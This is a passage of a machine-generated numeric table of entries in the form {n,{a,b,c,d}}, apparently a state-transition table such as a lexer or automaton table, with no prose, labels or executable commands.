{0,{7791,5719,5719,5719}}, {0,{5720,0,7792,0}}, {933,{0,0,0,7736}}, {0,{7794,7799,7804,6669}}, {0,{7795,7798,7641,7649}}, {0,{7796,7623,7623,7624}}, {0,{7797,7622,7622,7622}}, {0,{7612,7612,7612,7617}}, {934,{7640,7640,7640,7640}}, {935,{7800,7803,7683,7683}}, {0,{7801,7667,7667,7668}}, {0,{7802,7666,7666,7666}}, {0,{7658,7658,7658,7662}}, {936,{7682,7682,7682,7682}}, {0,{7805,7806,7687,7649}}, {937,{7796,7623,7623,7624}}, {939,{7640,7640,7640,7640}}, {0,{7808,7404,7428,7435}}, {941,{7809,7828,7830,7847}}, {0,{7810,7820,7823,0}}, {0,{7811,7815,7815,7816}}, {0,{6602,6604,7812,6604}}, {0,{7813,6540,7814,6540}}, {0,{6541,6541,6541,7017}}, {943,{6541,6541,6541,7017}}, {0,{6604,6604,7812,6604}}, {0,{0,0,7817,0}}, {0,{7818,0,7819,0}}, {0,{0,0,0,7108}}, {945,{0,0,0,7108}}, {946,{7821,7822,7822,7822}}, {0,{7559,6611,7817,0}}, {0,{0,6611,7817,0}}, {0,{7824,7824,7824,7824}}, {0,{7408,7408,7825,7408}}, {0,{7826,7172,7827,7172}}, {0,{7158,7158,7158,7184}}, {948,{7158,7158,7158,7184}}, {949,{7810,7820,7829,0}}, {0,{7816,7816,7816,7816}}, {0,{7831,7841,7829,0}}, {0,{7832,7836,7836,7837}}, {0,{7412,7414,7833,7414}}, {0,{7834,7267,7835,7267}}, {0,{7268,7268,7268,7285}}, {951,{7268,7268,7268,7285}}, {0,{7414,7414,7833,7414}}, {0,{7417,7417,7838,7417}}, {0,{7839,7317,7840,7317}}, {0,{7311,7311,7311,7320}}, {953,{7311,7311,7311,7320}}, {954,{7842,7846,7846,7846}}, {0,{7592,7423,7843,7424}}, {0,{7844,7345,7845,7345}}, {0,{7346,7346,7346,7363}}, {956,{7346,7346,7346,7363}}, {0,{7424,7423,7843,7424}}, {0,{7829,7848,7829,0}}, {957,{7822,7822,7822,7822}}, {0,{7850,8175,8219,8389}}, {0,{7851,8062,8155,8173}}, {0,{7852,7962,8000,8048}}, {0,{7853,7918,7934,7960}}, {0,{7854,7907,7907,7908}}, {0,{7855,7899,7899,7901}}, {0,{7856,7856,7879,7886}}, {0,{7465,7465,7465,7857}}, {0,{3889,3889,3889,7858}}, {0,{3886,3886,3886,7859}}, {0,{7860,7869,7870,3883}}, {0,{7861,7861,7866,7866}}, {0,{7862,7862,7862,7864}}, {0,{7863,3839,0,0}}, {959,{3834,3837,0,0}}, {0,{7865,0,0,0}}, {960,{0,0,0,0}}, {0,{7867,7867,7867,7864}}, {0,{7868,3857,0,0}}, {962,{3854,0,0,0}}, {963,{3864,3864,3865,3865}}, {964,{7871,7871,7876,7876}}, {0,{7872,7872,7872,7875}}, {0,{7873,3839,7874,0}}, {965,{3834,3837,0,0}}, {966,{0,0,0,0}}, {0,{7874,0,7874,0}}, {0,{7877,7877,7877,7875}}, {0,{7878,3857,7874,0}}, {967,{3854,0,0,0}}, {0,{7467,7467,7467,7880}}, {0,{4774,4774,4774,7881}}, {0,{4775,4775,4775,7882}}, {0,{7883,7884,7885,3883}}, {0,{7866,7866,7866,7866}}, {968,{3865,3865,3865,3865}}, {969,{7876,7876,7876,7876}}, {970,{7469,7469,7469,7887}}, {0,{4799,4799,4799,7888}}, {0,{4800,4800,4800,7889}}, {0,{7890,7894,7895,4796}}, {0,{7891,7891,7891,7891}}, {0,{7892,7892,7892,7864}}, {0,{7893,0,0,0}}, {972,{4795,0,0,0}}, {973,{4797,4797,4797,4797}}, {974,{7896,7896,7896,7896}}, {0,{7897,7897,7897,7875}}, {0,{7898,0,7874,0}}, {975,{4795,0,0,0}}, {0,{7900,7900,7900,7886}}, {0,{7469,7469,7469,7887}}, {0,{7902,7902,7902,7906}}, {0,{7469,7469,7469,7903}}, {0,{4799,4799,4799,7904}}, {0,{4800,4800,4800,7905}}, {0,{4796,7894,7895,4796}}, {976,{7469,7469,7469,7903}}, {0,{7899,7899,7899,7901}}, {0,{7909,7909,7909,7909}}, {0,{7910,7910,7910,7917}}, {0,{7475,7475,7475,7911}}, {0,{4913,4913,4913,7912}}, {0,{4914,4914,4914,7913}}, {0,{0,7914,7915,0}}, {977,{0,0,0,0}}, {978,{7916,7916,7916,7916}}, {0,{7875,7875,7875,7875}}, {979,{7475,7475,7475,7911}}, {980,{7919,7933,7933,7933}}, {0,{7920,7931,7932,7932}}, {0,{7921,7921,7926,7930}}, {0,{7480,7480,7480,7922}}, {0,{4998,4998,4998,7923}}, {0,{4995,4995,4995,7924}}, {0,{4991,7925,4992,0}}, {981,{4982,4982,0,0}}, {0,{7475,7475,7475,7927}}, {0,{4913,4913,4913,7928}}, {0,{4914,4914,4914,7929}}, {0,{0,7914,4910,0}}, {982,{7475,7475,7475,7927}}, {984,{7926,7926,7926,7930}}, {0,{7926,7926,7926,7930}}, {0,{7932,7931,7932,7932}}, {0,{7935,7935,7935,7959}}, {0,{7936,7936,7936,7953}}, {0,{7937,7937,7937,7952}}, {0,{7487,7487,7487,7938}}, {0,{5338,5338,5338,7939}}, {0,{5335,5335,5335,7940}}, {0,{7941,7947,7948,0}}, {0,{7942,7942,7942,7942}}, {0,{7943,7943,7943,7945}}, {0,{7944,0,0,0}}, {987,{0,0,0,0}}, {0,{7946,0,0,0}}, {989,{0,0,0,0}}, {990,{5324,5324,5324,5324}}, {991,{7949,7949,7949,7949}}, {0,{7950,7950,7950,7950}}, {0,{7951,0,7874,0}}, {993,{0,0,0,0}}, {994,{7487,7487,7487,7938}}, {0,{7954,7954,7954,7958}}, {0,{7487,7487,7487,7955}}, {0,{5338,5338,5338,7956}}, {0,{5335,5335,5335,7957}}, {0,{5331,7947,7948,0}}, {995,{7487,7487,7487,7955}}, {0,{7953,7953,7953,7953}}, {0,{7961,7961,7961,7961}}, {0,{7932,7932,7932,7932}}, {996,{7963,7980,7985,7999}}, {0,{7964,7972,7972,7973}}, {0,{7965,7971,7971,7971}}, {0,{7493,7493,7495,7966}}, {997,{7498,7498,7498,7967}}, {0,{5481,5481,5481,7968}}, {0,{5482,5482,5482,7969}}, {0,{7970,4796,5483,4796}}, {998,{4797,4797,4797,4797}}, {0,{7497,7497,7497,7966}}, {0,{7971,7971,7971,7971}}, {0,{7974,7974,7974,7974}}, {0,{7503,7503,7503,7975}}, {999,{7504,7504,7504,7976}}, {0,{5517,5517,5517,7977}}, {0,{5518,5518,5518,7978}}, {0,{7979,0,5519,0}}, {1000,{0,0,0,0}}, {1001,{7981,7984,7984,7984}}, {0,{7982,7983,7974,7974}}, {0,{7508,7508,7503,7975}}, {1003,{7503,7503,7503,7975}}, {0,{7974,7983,7974,7974}}, {0,{7973,7973,7986,7973}}, {0,{7987,7974,7974,7974}}, {0,{7503,7503,7503,7988}}, {1004,{7504,7504,7504,7989}}, {0,{5517,5517,5517,7990}}, {0,{5518,5518,5518,7991}}, {0,{7992,0,5519,0}}, {1005,{0,0,0,7993}}, {0,{7994,7994,7994,7994}}, {0,{7995,7995,7995,0}}, {0,{0,7996,0,0}}, {0,{7997,7997,7997,7997}}, {0,{7998,0,0,0}}, {1006,{0,0,0,0}}, {0,{7973,7973,7973,7973}}, {0,{8001,8019,8036,7960}}, {1007,{8002,8018,8018,7961}}, {0,{8003,8016,8016,8016}}, {0,{8004,8004,8008,8012}}, {0,{7465,7465,7465,8005}}, {0,{3889,3889,3889,8006}}, {0,{3886,3886,3886,8007}}, {0,{3881,7869,3882,3883}}, {0,{7467,7467,7467,8009}}, {0,{4774,4774,4774,8010}}, {0,{4775,4775,4775,8011}}, {0,{3883,7884,4773,3883}}, {1008,{7469,7469,7469,8013}}, {0,{4799,4799,4799,8014}}, {0,{4800,4800,4800,8015}}, {0,{4796,7894,4798,4796}}, {0,{8017,8017,8017,8012}}, {0,{7469,7469,7469,8013}}, {0,{8016,8016,8016,8016}}, {1010,{8020,8035,8035,8035}}, {0,{8021,8033,8034,8034}}, {0,{8022,8022,8027,8032}}, {0,{7480,7480,7480,8023}}, {0,{4998,4998,4998,8024}}, {0,{4995,4995,4995,8025}}, {0,{8026,7925,4992,0}}, {1011,{4982,4982,0,0}}, {0,{7475,7475,7475,8028}}, {0,{4913,4913,4913,8029}}, {0,{4914,4914,4914,8030}}, {0,{8031,7914,4910,0}}, {1012,{0,0,0,0}}, {1013,{7475,7475,7475,8028}}, {1015,{8027,8027,8027,8032}}, {0,{8027,8027,8027,8032}}, {0,{8034,8033,8034,8034}}, {0,{8037,8037,8037,8037}}, {0,{8038,8038,8038,8038}}, {0,{8039,8039,8039,8047}}, {0,{7520,7520,7520,8040}}, {0,{5724,5724,5724,8041}}, {0,{5719,5719,5719,8042}}, {0,{5720,8043,5721,0}}, {1016,{8044,8044,8044,8044}}, {0,{8045,8045,8045,8045}}, {0,{8046,0,8046,0}}, {1017,{0,0,0,0}}, {1018,{7520,7520,7520,8040}}, {0,{8049,8059,8049,8049}}, {0,{8050,8050,8050,8050}}, {0,{8051,8051,8051,8051}}, {0,{0,0,8052,8058}}, {0,{0,0,0,8053}}, {0,{0,0,0,8054}}, {0,{0,0,0,8055}}, {0,{0,0,0,8056}}, {0,{0,0,8057,0}}, {1019,{0,0,0,0}}, {1020,{0,0,0,0}}, {1021,{8060,8060,8060,8060}}, {0,{8051,8061,8051,8051}}, {1023,{0,0,8052,8058}}, {0,{8063,8094,8129,6616}}, {0,{8064,7523,8087,7488}}, {0,{8065,8080,8080,8081}}, {0,{8066,8079,8079,8079}}, {0,{8067,8067,8071,8075}}, {0,{7465,7465,7465,8068}}, {0,{3889,3889,3889,8069}}, {0,{3886,3886,3886,8070}}, {0,{3881,3881,7870,3883}}, {0,{7467,7467,7467,8072}}, {0,{4774,4774,4774,8073}}, {0,{4775,4775,4775,8074}}, {0,{3883,3883,7885,3883}}, {0,{7469,7469,7469,8076}}, {0,{4799,4799,4799,8077}}, {0,{4800,4800,4800,8078}}, {0,{4796,4796,7895,4796}}, {0,{8075,8075,8075,8075}}, {0,{8079,8079,8079,8079}}, {0,{8082,8082,8082,8082}}, {0,{8083,8083,8083,8083}}, {0,{7475,7475,7475,8084}}, {0,{4913,4913,4913,8085}}, {0,{4914,4914,4914,8086}}, {0,{0,0,7915,0}}, {0,{8088,8088,8088,8088}}, {0,{8089,8089,8089,8089}}, {0,{8090,8090,8090,8090}}, {0,{7487,7487,7487,8091}}, {0,{5338,5338,5338,8092}}, {0,{5335,5335,5335,8093}}, {0,{5331,5331,7948,0}}, {1024,{8095,8120,8128,8128}}, {0,{8096,8111,8111,8112}}, {0,{8097,8104,8104,8104}}, {0,{7493,7493,8098,7497}}, {0,{7496,7496,7496,8099}}, {0,{5475,5475,5475,8100}}, {0,{5476,5476,5476,8101}}, {0,{8102,3883,5477,3883}}, {0,{8103,3865,8103,3865}}, {1025,{3852,3852,3852,0}}, {0,{7497,7497,8105,7497}}, {0,{7498,7498,7498,8106}}, {0,{5481,5481,5481,8107}}, {0,{5482,5482,5482,8108}}, {0,{8109,4796,5483,4796}}, {0,{8110,4797,8110,4797}}, {1026,{4793,4793,4793,0}}, {0,{8104,8104,8104,8104}}, {0,{8113,8113,8113,8113}}, {0,{7503,7503,8114,7503}}, {0,{7504,7504,7504,8115}}, {0,{5517,5517,5517,8116}}, {0,{5518,5518,5518,8117}}, {0,{8118,0,5519,0}}, {0,{8119,0,8119,0}}, {1027,{0,0,0,0}}, {1028,{8121,8125,8125,8127}}, {0,{8122,8124,8113,8113}}, {0,{7534,7534,8123,7503}}, {1029,{7504,7504,7504,8115}}, {1031,{7503,7503,8114,7503}}, {0,{8126,8124,8113,8113}}, {0,{7535,7535,8123,7503}}, {0,{8113,8124,8113,8113}}, {0,{8112,8112,8112,8112}}, {0,{7514,8130,8147,7488}}, {1033,{8131,8144,8144,8146}}, {0,{8132,8142,8143,8143}}, {0,{8133,8133,8137,8141}}, {1034,{7480,7480,7480,8134}}, {0,{4998,4998,4998,8135}}, {0,{4995,4995,4995,8136}}, {0,{8026,4991,4992,0}}, {1035,{7475,7475,7475,8138}}, {0,{4913,4913,4913,8139}}, {0,{4914,4914,4914,8140}}, {0,{8031,0,4910,0}}, {0,{7475,7475,7475,8138}}, {1037,{8141,8141,8141,8141}}, {0,{8141,8141,8141,8141}}, {0,{8145,8142,8143,8143}}, {0,{8137,8137,8137,8141}}, {0,{8143,8142,8143,8143}}, {0,{8148,8148,8148,8148}}, {0,{8149,8149,8149,8149}}, {0,{8150,8150,8150,8150}}, {0,{7520,7520,7520,8151}}, {0,{5724,5724,5724,8152}}, {0,{5719,5719,5719,8153}}, {0,{5720,8154,5721,0}}, {0,{8044,8044,8044,8044}}, {0,{8156,7546,8160,6669}}, {0,{8157,7545,8087,7488}}, {0,{8158,8080,8080,8081}}, {0,{8159,8079,8079,8079}}, {0,{8071,8071,8071,8075}}, {0,{7552,8161,8162,7488}}, {1039,{8146,8146,8146,8146}}, {0,{8163,8163,8163,8163}}, {0,{8164,8164,8164,8149}}, {0,{8165,8165,8165,8165}}, {0,{7520,7520,7520,8166}}, {0,{5724,5724,5724,8167}}, {0,{5719,5719,5719,8168}}, {0,{5720,8169,5721,0}}, {0,{8170,8170,8170,8170}}, {0,{8171,8171,8171,8171}}, {0,{8172,0,8172,0}}, {1041,{0,0,0,0}}, {0,{8156,7546,8174,6669}}, {0,{7552,8161,8147,7488}}, {0,{8176,6598,6618,6670}}, {0,{8177,8192,8193,8217}}, {0,{8178,8186,8191,8191}}, {0,{8179,8183,8183,8184}}, {0,{8180,8182,8182,8182}}, {0,{6532,6532,6603,8181}}, {1042,{6541,6541,6541,6541}}, {0,{6540,6540,6540,8181}}, {0,{8182,8182,8182,8182}}, {0,{8185,8185,8185,8185}}, {0,{0,0,0,8058}}, {1043,{8187,8190,8190,8190}}, {0,{8188,8189,8185,8185}}, {0,{6586,6586,0,8058}}, {1045,{0,0,0,8058}}, {0,{8185,8189,8185,8185}}, {0,{8184,8184,8184,8184}}, {1046,{8178,8186,8191,8191}}, {0,{8194,8211,8216,8216}}, {0,{8195,8203,8203,8204}}, {0,{8196,8202,8202,8202}}, {0,{6532,6532,6603,8197}}, {1047,{6541,6541,6541,8198}}, {0,{6542,6542,6542,8199}}, {0,{6543,6543,6543,8200}}, {0,{8201,4796,8201,4796}}, {1048,{4797,4797,4797,4797}}, {0,{6540,6540,6540,8197}}, {0,{8202,8202,8202,8202}}, {0,{8205,8205,8205,8205}}, {0,{0,0,0,8206}}, {1049,{0,0,0,8207}}, {0,{0,0,0,8208}}, {0,{0,0,0,8209}}, {0,{8210,0,8210,0}}, {1050,{0,0,0,0}}, {1051,{8212,8215,8215,8215}}, {0,{8213,8214,8205,8205}}, {0,{6586,6586,0,8206}}, {1053,{0,0,0,8206}}, {0,{8205,8214,8205,8205}}, {0,{8204,8204,8204,8204}}, {0,{8191,8218,8191,8191}}, {1054,{8190,8190,8190,8190}}, {0,{8220,8382,8387,7435}}, {0,{8221,8287,8289,8380}}, {0,{8222,8264,8268,8191}}, {0,{8223,8249,8249,8250}}, {0,{8180,8224,8182,8182}}, {0,{8225,6540,8243,8181}}, {0,{6541,6541,6541,8226}}, {0,{6542,6542,6542,8227}}, {0,{6543,6543,6543,8228}}, {0,{8229,8229,8229,8229}}, {0,{8230,4797,4797,4797}}, {1055,{8231,8231,8231,8242}}, {0,{8232,8241,8241,8241}}, {0,{8233,8240,8240,8240}}, {0,{8234,8234,8234,8237}}, {0,{8235,8235,8235,8235}}, {0,{8236,3748,3748,3748}}, {1056,{3745,3745,3745,3745}}, {0,{8238,8238,8238,8238}}, {0,{8239,0,0,0}}, {1057,{0,0,0,0}}, {0,{8237,8237,8237,8237}}, {0,{8240,8240,8240,8240}}, {0,{8241,8241,8241,8241}}, {0,{6541,6541,6541,8244}}, {0,{6542,6542,6542,8245}}, {0,{6543,6543,6543,8246}}, {0,{8247,8247,8247,8247}}, {0,{8248,4797,4797,4797}}, {1058,{4793,4793,4793,0}}, {0,{8182,8224,8182,8182}}, {0,{8185,8251,8185,8185}}, {0,{8252,0,8258,8058}}, {0,{0,0,0,8253}}, {0,{0,0,0,8254}}, {0,{0,0,0,8255}}, {0,{8256,8256,8256,8256}}, {0,{8257,0,0,0}}, {1059,{8242,8242,8242,8242}}, {0,{0,0,0,8259}}, {0,{0,0,0,8260}}, {0,{0,0,0,8261}}, {0,{8262,8262,8262,8262}}, {0,{8263,0,0,0}}, {1060,{0,0,0,0}}, {1061,{8265,8267,8267,8267}}, {0,{8188,8266,8185,8185}}, {1063,{8252,0,8258,8058}}, {0,{8185,8266,8185,8185}}, {0,{8269,8269,8269,8269}}, {0,{8270,8272,8270,8270}}, {0,{7172,7172,7172,8271}}, {1064,{7158,7158,7158,7158}}, {0,{8273,7172,8281,8271}}, {0,{7158,7158,7158,8274}}, {0,{7159,7159,7159,8275}}, {0,{7156,7156,7156,8276}}, {0,{8277,8277,8277,8256}}, {0,{8278,5324,5324,5324}}, {1065,{8279,8279,8279,8279}}, {0,{8280,8241,8241,8241}}, {1066,{8240,8240,8240,8240}}, {0,{7158,7158,7158,8282}}, {0,{7159,7159,7159,8283}}, {0,{7156,7156,7156,8284}}, {0,{8285,8285,8285,8262}}, {0,{8286,5324,5324,5324}}, {1067,{5320,5320,5320,5320}}, {1068,{8222,8264,8288,8191}}, {0,{8250,8250,8250,8250}}, {0,{8290,8321,8338,8191}}, {0,{8291,8306,8306,8307}}, {0,{8292,8294,8305,8305}}, {0,{7413,7413,7262,8293}}, {1069,{7268,7268,7268,7268}}, {0,{8295,7267,8300,8293}}, {0,{7268,7268,7268,8296}}, {0,{7269,7269,7269,8297}}, {0,{7270,7270,7270,8298}}, {0,{8299,8229,8229,8229}}, {1070,{8230,4797,4797,4797}}, {0,{7268,7268,7268,8301}}, {0,{7269,7269,7269,8302}}, {0,{7270,7270,7270,8303}}, {0,{8304,8247,8247,8247}}, {1071,{8248,4797,4797,4797}}, {0,{7267,7267,7267,8293}}, {0,{8305,8294,8305,8305}}, {0,{8308,8310,8308,8308}}, {0,{7317,7317,7317,8309}}, {1072,{7311,7311,7311,7311}}, {0,{8311,7317,8316,8309}}, {0,{7311,7311,7311,8312}}, {0,{7310,7310,7310,8313}}, {0,{7308,7308,7308,8314}}, {0,{8315,8256,8256,8256}}, {1073,{8257,0,0,0}}, {0,{7311,7311,7311,8317}}, {0,{7310,7310,7310,8318}}, {0,{7308,7308,7308,8319}}, {0,{8320,8262,8262,8262}}, {1074,{8263,0,0,0}}, {1075,{8322,8337,8337,8337}}, {0,{8323,8325,8336,8336}}, {0,{7593,7593,7345,8324}}, {1076,{7346,7346,7346,7346}}, {1078,{8326,7345,8331,8324}}, {0,{7346,7346,7346,8327}}, {0,{7347,7347,7347,8328}}, {0,{7348,7348,7348,8329}}, {0,{8330,8256,8256,8256}}, {1079,{8257,0,0,0}}, {0,{7346,7346,7346,8332}}, {0,{7347,7347,7347,8333}}, {0,{7348,7348,7348,8334}}, {0,{8335,8262,8262,8262}}, {1080,{8263,0,0,0}}, {0,{7345,7345,7345,8324}}, {0,{8336,8325,8336,8336}}, {0,{8339,8339,8339,8339}}, {0,{8340,8361,8340,8185}}, {0,{8341,8341,8341,8360}}, {0,{0,0,0,8342}}, {0,{0,0,0,8343}}, {0,{0,0,0,8344}}, {0,{8345,0,0,0}}, {0,{8346,8346,8346,8346}}, {0,{8347,0,0,0}}, {0,{8348,8348,8348,0}}, {0,{8349,8349,8349,8349}}, {0,{8350,8350,8350,8350}}, {0,{8351,8351,8351,8351}}, {0,{8352,8352,8352,8352}}, {0,{8353,8353,8353,8353}}, {0,{0,0,0,8354}}, {0,{0,0,0,8355}}, {0,{0,0,0,8356}}, {0,{0,0,0,8357}}, {0,{0,0,0,8358}}, {0,{0,8359,0,0}}, {1081,{0,0,0,0}}, {1082,{0,0,0,8342}}, {0,{8362,8341,8374,8360}}, {0,{0,0,0,8363}}, {0,{0,0,0,8364}}, {0,{0,0,0,8365}}, {0,{8366,8256,8256,8256}}, {0,{8367,8346,8346,8346}}, {1083,{8368,8242,8242,8242}}, {0,{8369,8369,8369,8241}}, {0,{8370,8370,8370,8370}}, {0,{8371,8371,8371,8371}}, {0,{8372,8372,8372,8372}}, {0,{8373,8352,8352,8352}}, {1084,{8353,8353,8353,8353}}, {0,{0,0,0,8375}}, {0,{0,0,0,8376}}, {0,{0,0,0,8377}}, {0,{8378,8262,8262,8262}}, {0,{8379,8346,8346,8346}}, {1085,{8347,0,0,0}}, {0,{8288,8381,8288,8191}}, {1086,{8267,8267,8267,8267}}, {0,{7405,6615,8383,6616}}, {0,{7410,7418,8384,0}}, {0,{8385,8385,8385,8385}}, {0,{8386,8386,8386,0}}, {0,{8341,8341,8341,8341}}, {0,{7429,6671,8388,6669}}, {0,{7431,7434,8384,0}}, {0,{8390,6670,6670,6670}}, {0,{8391,8395,8391,8217}}, {0,{8392,8218,8191,8191}}, {0,{8393,8183,8183,8184}}, {0,{8394,8182,8182,8182}}, {0,{6603,6603,6603,8181}}, {1087,{8392,8218,8191,8191}}, {0,{8397,8613,8624,8625}}, {0,{8398,8545,8550,8545}}, {0,{8399,8530,8540,8540}}, {0,{8400,8507,8528,6381}}, {0,{8401,8476,8496,6412}}, {0,{8402,8402,8402,8466}}, {0,{6394,6394,8403,6394}}, {0,{8404,8404,8404,6391}}, {0,{4785,4802,4802,8405}}, {0,{8406,4799,4801,4799}}, {0,{8407,4814,4814,4814}}, {0,{8408,4796,4798,4796}}, {0,{4816,8409,4816,4816}}, {0,{8410,8453,8453,8465}}, {0,{8411,8442,8442,0}}, {0,{8412,8431,8441,8441}}, {0,{8413,8413,8413,8422}}, {0,{8414,8414,8414,8414}}, {0,{8415,8415,8415,4441}}, {0,{8416,8416,8416,8416}}, {0,{3571,3571,3571,8417}}, {0,{3572,3572,3572,8418}}, {0,{3573,3573,3573,8419}}, {0,{8420,3574,3574,3574}}, {0,{8421,4433,4433,4433}}, {1088,{4116,3576,3576,3576}}, {0,{8423,8423,8423,8423}}, {0,{8424,8424,8424,4446}}, {0,{8425,8425,8425,8425}}, {0,{0,0,0,8426}}, {0,{0,0,0,8427}}, {0,{0,0,0,8428}}, {0,{8429,0,0,0}}, {0,{8430,4452,4452,4452}}, {1089,{4145,0,0,0}}, {0,{8432,8432,8432,8432}}, {0,{8433,8433,8433,8433}}, {0,{8434,8434,8434,4469}}, {0,{8435,8435,8435,8435}}, {0,{0,0,0,8436}}, {0,{0,0,0,8437}}, {0,{0,0,0,8438}}, {0,{8439,0,0,0}}, {0,{8440,4468,4468,4468}}, {1090,{4247,0,0,0}}, {0,{8422,8422,8422,8422}}, {0,{8443,8443,8443,8443}}, {0,{8444,8444,8444,8444}}, {0,{8445,8445,8445,8445}}, {0,{8446,8446,8446,0}}, {0,{8447,8447,8447,8447}}, {0,{0,0,0,8448}}, {0,{0,0,0,8449}}, {0,{0,0,0,8450}}, {0,{8451,0,0,0}}, {0,{8452,0,0,0}}, {1091,{0,0,0,0}}, {0,{8454,8442,8442,0}}, {0,{8455,8443,8443,8443}}, {0,{8456,8456,8456,8444}}, {0,{8457,8457,8457,8457}}, {0,{8458,8458,8458,3748}}, {0,{8459,8459,8459,8459}}, {0,{3571,3571,3571,8460}}, {0,{3572,3572,3572,8461}}, {0,{3573,3573,3573,8462}}, {0,{8463,3574,3574,3574}}, {0,{8464,3575,3575,3575}}, {1092,{3576,3576,3576,3576}}, {0,{8442,8442,8442,0}}, {0,{6397,6397,8467,6397}}, {0,{8468,8468,8468,6398}}, {0,{4939,4916,4916,8469}}, {0,{8470,4913,4915,4913}}, {0,{8471,4933,4933,4933}}, {0,{8472,0,4910,0}}, {0,{4935,8473,4935,4935}}, {0,{8474,8465,8465,8465}}, {0,{8475,8442,8442,0}}, {0,{8441,8441,8441,8441}}, {1093,{8477,8477,8477,8477}}, {0,{6403,6407,8478,6403}}, {0,{8479,8479,8479,6404}}, {0,{4939,4916,4916,8480}}, {0,{8481,4913,4915,4913}}, {0,{8482,5157,5157,5157}}, {0,{8483,0,4910,0}}, {0,{5099,8484,5099,5099}}, {0,{8485,8485,8485,8485}}, {0,{8486,8486,8442,0}}, {0,{8487,8487,8487,8487}}, {0,{8488,8488,8488,8488}}, {0,{8489,8489,8489,8489}}, {0,{8490,8490,8490,5071}}, {0,{8491,8491,8491,8491}}, {0,{0,0,0,8492}}, {0,{0,0,0,8493}}, {0,{0,0,0,8494}}, {0,{8495,0,0,0}}, {1094,{8452,0,0,0}}, {0,{8497,8497,8497,8497}}, {0,{6410,6410,8498,6410}}, {0,{8499,8499,8499,6411}}, {0,{5360,5337,5337,8500}}, {0,{8501,5338,5339,5338}}, {0,{8502,5335,5335,5335}}, {0,{8503,5331,5332,0}}, {0,{5324,8504,5324,5324}}, {0,{8505,8505,8505,8505}}, {0,{8506,8442,8442,0}}, {1095,{8443,8443,8443,8443}}, {1096,{8508,8525,8527,6365}}, {0,{8509,8509,8509,8517}}, {0,{6358,6358,8510,6358}}, {0,{8511,8511,8511,5479}}, {0,{5480,5480,5480,8512}}, {0,{8513,5481,5484,5481}}, {0,{8514,5482,5482,5482}}, {0,{8515,4796,5483,4796}}, {0,{4797,8516,4797,4797}}, {0,{8453,8453,8453,8465}}, {0,{6361,6361,8518,6361}}, {0,{8519,8519,8519,5538}}, {0,{5516,5516,5516,8520}}, {0,{8521,5517,5520,5517}}, {0,{8522,5518,5518,5518}}, {0,{8523,0,5519,0}}, {0,{0,8524,0,0}}, {0,{8465,8465,8465,8465}}, {1097,{8526,8526,8526,8526}}, {0,{6361,6364,8518,6361}}, {0,{8517,8517,8517,8517}}, {0,{8529,6427,6430,6434}}, {1098,{6423,6423,6423,6424}}, {0,{8531,8534,8537,6381}}, {0,{8532,8533,6049,6061}}, {0,{5989,5989,5989,5990}}, {1099,{6048,6048,6048,6048}}, {1100,{8535,8536,6274,6274}}, {0,{6249,6249,6249,6250}}, {1101,{6273,6273,6273,6273}}, {0,{8538,8539,6312,6324}}, {1102,{6295,6295,6295,6296}}, {1104,{6311,6311,6311,6311}}, {0,{8541,8543,8528,6381}}, {0,{8542,6401,6408,6412}}, {0,{6395,6395,6395,6396}}, {1105,{8544,6362,6365,6365}}, {0,{6359,6359,6359,6360}}, {0,{8546,8546,8546,8546}}, {0,{8547,8549,8547,6669}}, {0,{8548,6623,0,0}}, {0,{6605,6605,6605,0}}, {1106,{8548,6623,0,0}}, {0,{8551,8575,8579,8575}}, {1108,{8552,8563,8565,8574}}, {0,{8553,8558,8560,0}}, {0,{8554,8554,8554,8556}}, {0,{6604,6604,8555,6604}}, {0,{7813,6540,7813,6540}}, {0,{0,0,8557,0}}, {0,{7818,0,7818,0}}, {1109,{8559,8559,8559,8559}}, {0,{0,6611,8557,0}}, {0,{8561,8561,8561,8561}}, {0,{7408,7408,8562,7408}}, {0,{7826,7172,7826,7172}}, {1110,{8553,8558,8564,0}}, {0,{8556,8556,8556,8556}}, {0,{8566,8571,8564,0}}, {0,{8567,8567,8567,8569}}, {0,{7414,7414,8568,7414}}, {0,{7834,7267,7834,7267}}, {0,{7417,7417,8570,7417}}, {0,{7839,7317,7839,7317}}, {1111,{8572,8572,8572,8572}}, {0,{7424,7423,8573,7424}}, {0,{7844,7345,7844,7345}}, {0,{8564,8558,8564,0}}, {0,{8576,8549,8577,6669}}, {0,{8548,6623,7406,0}}, {0,{8578,7434,0,0}}, {0,{7415,7415,7415,7416}}, {1113,{8576,8549,8580,6669}}, {0,{8581,8596,8605,8605}}, {0,{8582,8582,8582,8589}}, {0,{8583,8583,8583,8583}}, {0,{8584,8584,8584,8584}}, {0,{8585,8585,8585,8585}}, {0,{8586,8586,8586,8586}}, {0,{8587,8587,8587,8587}}, {0,{8588,4796,4796,4796}}, {1115,{4797,4797,4797,4797}}, {0,{8590,8590,8590,8590}}, {0,{8591,8591,8591,8591}}, {0,{8592,8592,8592,8592}}, {0,{8593,8593,8593,8593}}, {0,{8594,8594,8594,8594}}, {0,{8595,0,0,0}}, {1117,{0,0,0,0}}, {1118,{8597,8597,8597,8597}}, {0,{8598,8604,8598,8598}}, {0,{8599,8599,8599,8599}}, {0,{8600,8600,8600,8600}}, {0,{8601,8601,8601,8601}}, {0,{8602,8602,8602,8602}}, {0,{8603,0,0,0}}, {1120,{0,0,0,0}}, {1122,{8599,8599,8599,8599}}, {0,{8606,8606,8606,8606}}, {0,{8607,8607,8607,8607}}, {0,{8608,8608,8608,8608}}, {0,{8609,8609,8609,8609}}, {0,{8610,8610,8610,8610}}, {0,{8611,8611,8611,8611}}, {0,{8612,0,0,0}}, {1123,{0,0,0,0}}, {0,{8614,8545,8622,8545}}, {0,{8615,8615,8615,8615}}, {0,{8616,8618,8620,6669}}, {0,{8617,7545,7483,7488}}, {0,{7471,7471,7471,7472}}, {1124,{8619,7550,7512,7512}}, {0,{7500,7500,7500,7501}}, {0,{8621,7553,7516,7488}}, {1125,{7471,7471,7471,7472}}, {0,{8575,8575,8623,8575}}, {0,{8576,8549,8580,6669}}, {0,{8614,8545,8550,8545}}, {0,{8626,8545,8724,8545}}, {0,{8627,8674,8678,8674}}, {0,{8628,8654,8661,8670}}, {0,{8629,7545,8651,7488}}, {0,{8630,8630,8630,8642}}, {0,{8631,8632,8079,8079}}, {1126,{8075,8075,8075,8075}}, {0,{8633,8633,8633,8633}}, {0,{7469,7469,7469,8634}}, {0,{4799,4799,4799,8635}}, {0,{4800,4800,4800,8636}}, {0,{8637,4796,7895,4796}}, {0,{8638,8638,8638,8638}}, {0,{8639,8639,8639,8641}}, {0,{4794,0,8640,0}}, {1127,{0,0,0,0}}, {0,{0,0,8640,0}}, 